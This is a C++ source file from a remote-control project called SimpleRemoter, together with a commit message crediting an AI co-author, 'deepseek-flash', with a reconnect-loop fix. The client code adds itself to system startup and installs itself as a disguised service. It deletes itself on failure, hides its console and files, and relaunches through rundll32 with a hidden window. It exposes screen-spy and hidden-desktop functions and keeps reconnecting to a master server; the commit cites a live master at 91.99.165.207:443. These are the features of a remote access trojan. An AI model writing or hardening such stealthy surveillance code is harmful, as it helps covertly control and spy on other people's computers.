Files
SimpleRemoter/client/ClientDll.cpp
T
yuanyuanxianganddeepseek-flash 36ae4b3057 fix(client): stop the reconnect loops from spinning when the master restarts
On a master restart the client receives SERVER_EXIT and KernelManager sets
g_bExit = S_SERVER_EXIT. IsClientAppRunning() compares against S_CLIENT_NORMAL,
so it flips to false immediately and the worker starts tearing down -- but
g_bThreadExit is only cleared at the very end of StartClient. Throughout that
window TestRun() still sees IsThreadRun() == TRUE and takes its early-return
path.

The loader's reconnect loop deliberately does not wait in the S_SERVER_EXIT case
("reconnect immediately, do not wait for share instances"), and its else branch
was empty, so it re-entered TestRun() with no delay whatsoever. Measured on a
live host: 919 identical "TestRun SetServer[91.99.165.207:443]" lines inside a
single second, 960 on its second instance. The client ring buffer holds 1000
lines, so that burst erased the entire history -- which is why nothing from
before the restart could be inspected afterwards. IsStoped() cannot gate this:
it returns true unconditionally while g_bExit == S_SERVER_EXIT, conflating
"worker exited" with "master restarted".

- test.cpp: sleep 20ms in the S_SERVER_EXIT branch. The sleep runs concurrently
  with the worker's teardown rather than after it, so reconnecting is delayed by
  at most one 20ms tick.
- ClientDll.cpp TestRun(): log only when SetServer() reports the address really
  changed. It returns false for a null address, which also silences AutoRun's
  TestRun(NULL, 0) calls. Nothing is lost: the restart itself is already logged
  as "======> Server exit" in KernelManager.
- ClientDll.cpp AutoRun(): its do/while had no sleep either. Gate it on "still
  in S_SERVER_EXIT and a worker is still running" so the normal path stays
  zero-delay.

Together these turn a burst that wiped the log buffer into silence, and cap the
loop at 50 iterations per second instead of roughly 900. A worker that hangs
during teardown still burns a core; curing that needs the thread-alive state
exposed separately from IsStoped(), which is an interface change and is left out.

Co-Authored-By: deepseek-flash
2026-10-30 23:39:05 +01:00

868 lines
34 KiB
C++
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// ClientDll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
extern void licenseInit();
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0, 0, 0, 0 };
__cpuid(cpuInfo, 0);
if (cpuInfo[0] < 7) return FALSE;
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
// 启动的客户端个数
#define CLIENT_PARALLEL_NUM 1
// 远程地址
CONNECT_ADDRESS g_SETTINGS = {
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
0, 0, 7057226198541618915, {},
};
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
// 因此全局来看只有一个全局变量: g_MyApp
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
enum { E_RUN, E_STOP, E_EXIT } status;
int ClientApp::m_nCount = 0;
CLock ClientApp::m_Locker;
BOOL IsProcessExit()
{
return g_MyApp.g_bExit == S_CLIENT_EXIT;
}
BOOL IsSharedRunning(void* thisApp)
{
ClientApp* This = (ClientApp*)thisApp;
// 只在进程退出时停止分享连接,原服务端的状态变化不应影响分享连接
return !IsProcessExit() && (S_CLIENT_NORMAL == This->g_bExit);
}
BOOL IsClientAppRunning(void* thisApp)
{
ClientApp* This = (ClientApp*)thisApp;
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a;
}
#if _CONSOLE
#define DLL_API
#else
#define DLL_API __declspec(dllexport)
#endif
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
if (!ENABLE_SCREEN || ulLength == 0) {
return 1;
}
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
return 2;
}
switch (szBuffer[0]) {
case COMMAND_SCREEN_SPY: {
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
szBuffer = bToken; ulLength = 4;
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
ThreadInfo m_hThread;
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
// sub->EnableSubConnAuth();
m_hThread.conn = m_conn;
m_hThread.p = sub;
m_hThread.user = user;
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
while (m_hThread.p) Sleep(1000);
return 0;
}
case TOKEN_PRIVATESCREEN: {
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
t.join();
return 0;
}
}
return -1;
}
DWORD WINAPI StartClientApp(LPVOID param)
{
ClientApp::AddCount(1);
ClientApp* app = (ClientApp*)param;
CONNECT_ADDRESS& settings(*(app->g_Connection));
const char* ip = settings.ServerIP();
int port = settings.ServerPort();
State& bExit(app->g_bExit);
if (ip != NULL && port > 0) {
settings.SetServer(ip, port);
}
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
Sleep(3000);
} else {
app->g_hInstance = GetModuleHandle(NULL);
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
do {
bExit = S_CLIENT_NORMAL;
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
SAFE_CLOSE_HANDLE(hThread);
if (IsProcessExit()) // process exit
break;
if (app->m_bShared) {
WAIT_n(!IsProcessExit(), 5, 200);
}
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
}
auto r = app->m_ID;
if (app != &g_MyApp) delete app;
ClientApp::AddCount(-1);
return r;
}
/**
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
* @param handles 句柄数组
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
* @param timeout 超时时间(毫秒,INFINITE表示无限等待)
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
*/
DWORD WaitForMultipleHandlesEx(
const std::vector<HANDLE>& handles,
BOOL waitAll = TRUE,
DWORD timeout = INFINITE
)
{
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64)
DWORD totalHandles = static_cast<DWORD>(handles.size());
// 1. 检查句柄有效性
for (HANDLE h : handles) {
if (h == NULL || h == INVALID_HANDLE_VALUE) {
SetLastError(ERROR_INVALID_HANDLE);
return WAIT_FAILED;
}
}
// 2. 如果句柄数≤64,直接调用原生API
if (totalHandles <= MAX_WAIT) {
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
}
// 3. 分批等待逻辑
if (waitAll) {
// 必须等待所有句柄完成
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
TRUE, // 必须等待当前批次全部完成
timeout
);
if (result == WAIT_FAILED) {
return WAIT_FAILED;
}
}
return WAIT_OBJECT_0;
} else {
// 只需等待任意一个句柄完成
while (true) {
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
DWORD result = WaitForMultipleObjects(
batchSize,
&handles[i],
FALSE, // 当前批次任意一个完成即可
timeout
);
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
return result + i; // 返回全局索引
}
}
if (timeout != INFINITE) {
return WAIT_TIMEOUT;
}
}
}
}
#if _CONSOLE
#include "auto_start.h"
// 隐藏控制台
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: 在链接器"高级"设置入口点为mainCRTStartup
// step2: 在链接器"系统"设置系统为窗口
// 完成
BOOL CALLBACK callback(DWORD CtrlType)
{
#ifdef _DEBUG
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
#else
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
#endif
if (isClose) {
g_MyApp.g_bExit = S_CLIENT_EXIT;
while (E_RUN == status)
Sleep(20);
}
return TRUE;
}
int main(int argc, const char *argv[])
{
// Check AVX2 support at startup
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return -1;
}
licenseInit();
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
if (nCmd) {
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
Mprintf("结束运行.\n");
Sleep(1000);
return r;
}
}
if (!SetSelfStart(argv[0], REG_NAME, Logf)) {
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
}
if (isService) {
g_SETTINGS.iStartup = Startup_GhostMsc;
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) {
Mprintf("结束运行.\n");
Sleep(1000);
return 0x20251123;
}
}
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
if (ERROR_ALREADY_EXISTS == GetLastError()) {
SAFE_CLOSE_HANDLE(hMutex);
hMutex = NULL;
#ifndef _DEBUG
Mprintf("结束运行.\n");
Sleep(1000);
return -2;
#endif
}
SetConsoleCtrlHandler(&callback, TRUE);
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
int port = argc > 2 ? atoi(argv[2]) : 6543;
ClientApp& app(g_MyApp);
app.g_Connection->SetType(CLIENT_TYPE_ONE);
app.g_Connection->SetServer(ip, port);
#ifdef _DEBUG
g_SETTINGS.SetServer(ip, port);
#endif
if (CLIENT_PARALLEL_NUM == 1) {
// 启动单个客户端
StartClientApp(&app);
} else {
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
if (handles[i] == 0) {
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
}
}
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
if (result == WAIT_FAILED) {
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
}
}
ClientApp::Wait();
status = E_STOP;
SAFE_CLOSE_HANDLE(hMutex);
Mprintf("结束运行.\n");
Sleep(500);
if (isService) {
Mprintf("CALL ServiceWrapper_Stop.\n");
int r = ServiceWrapper_Stop();
}
Logger::getInstance().stop();
return 0;
}
#else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param)
{
do {
TestRun(NULL, 0);
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
// SetServer 返回值判断),不睡就会满速空转、白占一个核且毫无提示。
// 只在真会空转的条件下睡,正常重启路径零延迟。
if (S_SERVER_EXIT == g_MyApp.g_bExit && g_MyApp.IsThreadRun())
Sleep(20);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// Check AVX2 support before starting
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
licenseInit();
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
}
case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break;
}
return TRUE;
}
// 启动运行一个ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
if (app.IsThreadRun()) {
// 只在地址真的变了才记日志。主控端重启后,加载器和 AutoRun 会反复调用本函数
// 直到旧工作线程退完,每次都打一行会把客户端 1000 行环形日志冲光。
// SetServer 返回 false 表示地址没变,同时也涵盖 TestRun(NULL, 0)(空地址直接返回)。
if (settings.SetServer(szServerIP, uPort))
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
return;
}
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) {
app.SetThreadRun(FALSE);
return;
}
#ifdef _DEBUG
WaitForSingleObject(hThread, INFINITE);
#else
WaitForSingleObject(hThread, INFINITE);
#endif
SAFE_CLOSE_HANDLE(hThread);
}
// 停止运行
extern "C" __declspec(dllexport) void StopRun()
{
g_MyApp.g_bExit = S_CLIENT_EXIT;
}
// 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped()
{
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
// 分享实例继续存活,不受主控端重启影响。
if (S_SERVER_EXIT == g_MyApp.g_bExit)
return true;
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
}
// 是否退出客户端
extern "C" __declspec(dllexport) BOOL IsExit()
{
return g_MyApp.g_bExit;
}
// 简单运行此程序,无需任何参数
extern "C" __declspec(dllexport) int EasyRun()
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
do {
TestRun((char*)settings.ServerIP(), settings.ServerPort());
if (S_SERVER_EXIT == app.g_bExit)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
while (!IsStoped())
Sleep(50);
break;
} while (true);
return app.g_bExit;
}
// copy from: SimpleRemoter\client\test.cpp
// 启用新的DLL
void RunNewDll(const char* cmdLine)
{
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
*(p + 1) = 0;
std::string folder = path;
std::string oldFile = folder + "ServerDll.old";
std::string newFile = folder + "ServerDll.new";
strcpy(p + 1, "ServerDll.dll");
BOOL ok = TRUE;
if (_access(newFile.c_str(), 0) != -1) {
if (_access(oldFile.c_str(), 0) != -1) {
if (!DeleteFileA(oldFile.c_str())) {
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
ok = FALSE;
}
}
if (ok && !MoveFileA(path, oldFile.c_str())) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
if (_access(path, 0) != -1) {
ok = FALSE;
}
} else {
// 设置文件属性为隐藏
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
}
}
if (ok && !MoveFileA(newFile.c_str(), path)) {
Mprintf("Error removing file. Error code: %d\n", GetLastError());
MoveFileA(oldFile.c_str(), path);// recover
} else if (ok) {
Mprintf("Using new file: %s\n", newFile.c_str());
}
}
char cmd[1024];
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
}
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
HWND hwnd: 父窗口句柄(通常为 NULL)。
HINSTANCE hinst: DLL 的实例句柄。
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
int nCmdShow: 窗口显示状态。
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
*/
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
State& bExit(app.g_bExit);
char message[256] = { 0 };
if (strlen(lpszCmdLine) != 0) {
strcpy_s(message, lpszCmdLine);
} else if (settings.IsValid()) {
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
}
std::istringstream stream(message);
std::string item;
std::vector<std::string> result;
while (std::getline(stream, item, ':')) {
result.push_back(item);
}
if (result.size() == 1) {
result.push_back("80");
}
if (result.size() != 2) {
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
return;
}
do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
if (bExit == S_SERVER_EXIT)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
while (!IsStoped())
Sleep(20);
if (bExit == S_CLIENT_EXIT)
return;
break; // S_CLIENT_UPDATE
} while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
RunNewDll(message);
}
#endif
bool ParseAuthServer(const std::string& auth, std::string& host, int& port, bool b=false);
void ParseAuthServer(CONNECT_ADDRESS *conn) {
config* cfg = IsDebug ? (config*)new config() : (config*)new iniFile();
std::string host = conn->ServerIP();
int port = conn->ServerPort();
if (ParseAuthServer(cfg->GetStr("settings", "Authorization"), host, port, true))
conn->SetServer(host.c_str(), port);
delete cfg;
}
// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ----------------
//
// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开,
// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此
// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。
//
// 注册表键(后缀均在 settings 下):
// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换
// entry_host/port 新入口(反代域名:端口)
// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退
// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它)
// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它)
namespace {
const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退
bool IsSwitchableProto(int p)
{
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
}
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。
std::string g_bootHost;
int g_bootPort = 0;
bool g_bootCaptured = false;
void ClearAllProtoSwitchKeys(iniFile& cfg)
{
const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at",
"base_host", "base_port", "base_proto",
"prev_host", "prev_port", "prev_proto" };
for (auto k : keys)
cfg.SetStr("settings", k, "");
}
// 在每次建连前应用入口覆盖(就地改写 s,并落盘必要的状态)。没有返回值:它既会改 s 也会
// 改配置,用「是否用了覆盖入口」当返回值会与副作用矛盾——自动回退分支照样改写了 settings,
// 却没法用一个 bool 表达,调用方也确实不需要这个信息。
void ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s)
{
if (!g_bootCaptured) {
g_bootCaptured = true;
g_bootHost = s.ServerIP();
g_bootPort = s.ServerPort();
}
const std::string baseHost = cfg.GetStr("settings", "base_host");
if (!baseHost.empty() && baseHost != g_bootHost) {
// 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立
ClearAllProtoSwitchKeys(cfg);
Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n",
baseHost.c_str(), g_bootHost.c_str());
return;
}
const std::string proto = cfg.GetStr("settings", "proto_override");
if (proto.empty()) {
// 覆盖已撤销(服务端「还原」):回到安装时的直连入口
const std::string host = cfg.GetStr("settings", "base_host");
const int port = atoi(cfg.GetStr("settings", "base_port").c_str());
int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str());
if (!host.empty() && port > 0) {
if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP;
s.SetServer(host.c_str(), port);
s.protoType = (char)baseProto;
Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto);
}
return;
}
const int p = atoi(proto.c_str());
if (!IsSwitchableProto(p)) {
ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走
return;
}
// 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零)
const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str());
if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) {
const std::string prevHost = cfg.GetStr("settings", "prev_host");
const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str());
int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str());
if (!prevHost.empty() && prevPort > 0) {
// 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支,
// 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。
if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP;
s.SetServer(prevHost.c_str(), prevPort);
s.protoType = (char)prevProto;
cfg.SetStr("settings", "proto_override", std::to_string(prevProto));
cfg.SetStr("settings", "entry_host", prevHost);
cfg.SetStr("settings", "entry_port", std::to_string(prevPort));
Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n",
(long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto);
} else {
// 没有前入口可回:撤销覆盖,按外壳注入的配置走
cfg.SetStr("settings", "proto_override", "");
cfg.SetStr("settings", "entry_host", "");
cfg.SetStr("settings", "entry_port", "");
Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n");
}
cfg.SetStr("settings", "entry_try_at", "0");
return;
}
const std::string host = cfg.GetStr("settings", "entry_host");
const int port = atoi(cfg.GetStr("settings", "entry_port").c_str());
if (!host.empty() && port > 0)
s.SetServer(host.c_str(), port);
s.protoType = (char)p;
}
// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。
void ConfirmProtoSwitch(iniFile& cfg)
{
if (cfg.GetStr("settings", "proto_override").empty())
return;
if (cfg.GetStr("settings", "entry_try_at") == "0" ||
cfg.GetStr("settings", "entry_try_at").empty())
return;
cfg.SetStr("settings", "entry_try_at", "0");
Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n");
}
} // namespace
DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp& app(*(ClientApp*)lParam);
CONNECT_ADDRESS& settings(*(app.g_Connection));
BOOL assigned = FALSE;
iniFile cfg(CLIENT_PATH);
double valid_to = 0;
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (assigned = now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
}
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
// 让主实例始终指向域名解析出的第一个 IP。
static bool parallelHasRun = false;
if (!parallelHasRun) {
parallelHasRun = true;
for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
}
}
// The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort());
}
static bool hasRun = false;
if (!app.m_bShared && !hasRun) {
hasRun = true;
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) {
auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
}
std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings);
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED();
State& bExit(app.g_bExit);
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
if (nullptr == ClientObject) return -1;
CKernelManager* Manager = nullptr;
if (!app.m_bShared) {
if (NULL == app.g_hEvent) {
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
}
if (app.g_hEvent == NULL) {
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
}
}
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
// 过主控的入口优先)。
if (!assigned && !app.m_bShared)
ApplyProtoSwitch(cfg, settings);
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
// Check auth timeout for trial/unauthorized users while waiting to reconnect
if (isAuthKernel && AuthTimeoutChecker::NeedCheck())
AuthTimeoutChecker::Check();
continue;
}
SAFE_DELETE(Manager);
//准备第一波数据
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel);
